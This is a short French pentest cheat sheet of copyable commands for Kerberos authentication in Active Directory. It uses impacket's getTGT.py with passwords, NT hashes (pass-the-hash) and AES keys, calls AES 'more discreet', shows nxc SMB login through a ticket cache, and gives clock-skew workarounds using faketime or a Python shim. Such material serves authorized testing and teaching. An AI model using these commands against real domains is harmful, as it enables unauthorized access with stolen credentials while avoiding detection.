Information Gathering

Kerberos Authentication

Obtenir et utiliser des TGTs pour s'authentifier sans transmettre de mot de passe.

Copy command
getTGT.py $DOMAIN/$USER:$PASS

Description: Obtenir un TGT valide pour l'utilisateur : point de départ de toute auth Kerberos.

Copy command
getTGT.py $DOMAIN/$USER -hashes :$NTHASH

Description: TGT via Pass-the-Hash : pas besoin du mot de passe en clair.

Copy command
export KRB5CCNAME=$USER.ccache

Description: Définir le ticket actif dans la variable d'env pour tous les outils impacket.

Copy command
klist

Description: Lister les tickets Kerberos actifs dans le ccache courant.

Copy command
nxc smb $TARGET -u $USER -p '' --use-kcache

Description: S'authentifier via Kerberos (ccache) sans envoyer de hash ni de password.

Copy command
getTGT.py $DOMAIN/$USER -aesKey $AES_KEY

Description: TGT via clé AES256 : plus discret que RC4 si le compte a des clés AES.

Copy command
faketime "+$OFFSET" getTGT.py $DOMAIN/$USER:$PASS

Description: KRB_AP_ERR_SKEW / preauth qui échoue sans raison apparente = horloge locale décalée de plus de 5 min (défaut Kerberos). Comparer avec le header Date: d'une réponse HTTP du DC pour estimer l'offset avant de lancer faketime.

Copy command
# libfaketime absent et pas de sudo -> écrire un shim qui monkey-patch time.time()/datetime avant d'exec le script Python cible

Description: Sans possibilité d'installer libfaketime, un wrapper Python (patch de time.time et datetime.datetime.now/utcnow avant d'exécuter le fichier cible via exec()) donne le même effet pour tout script Python (impacket, bloodyAD), sans toucher aux binaires C (kvno, ksu) qui doivent tourner depuis un hôte déjà synchronisé.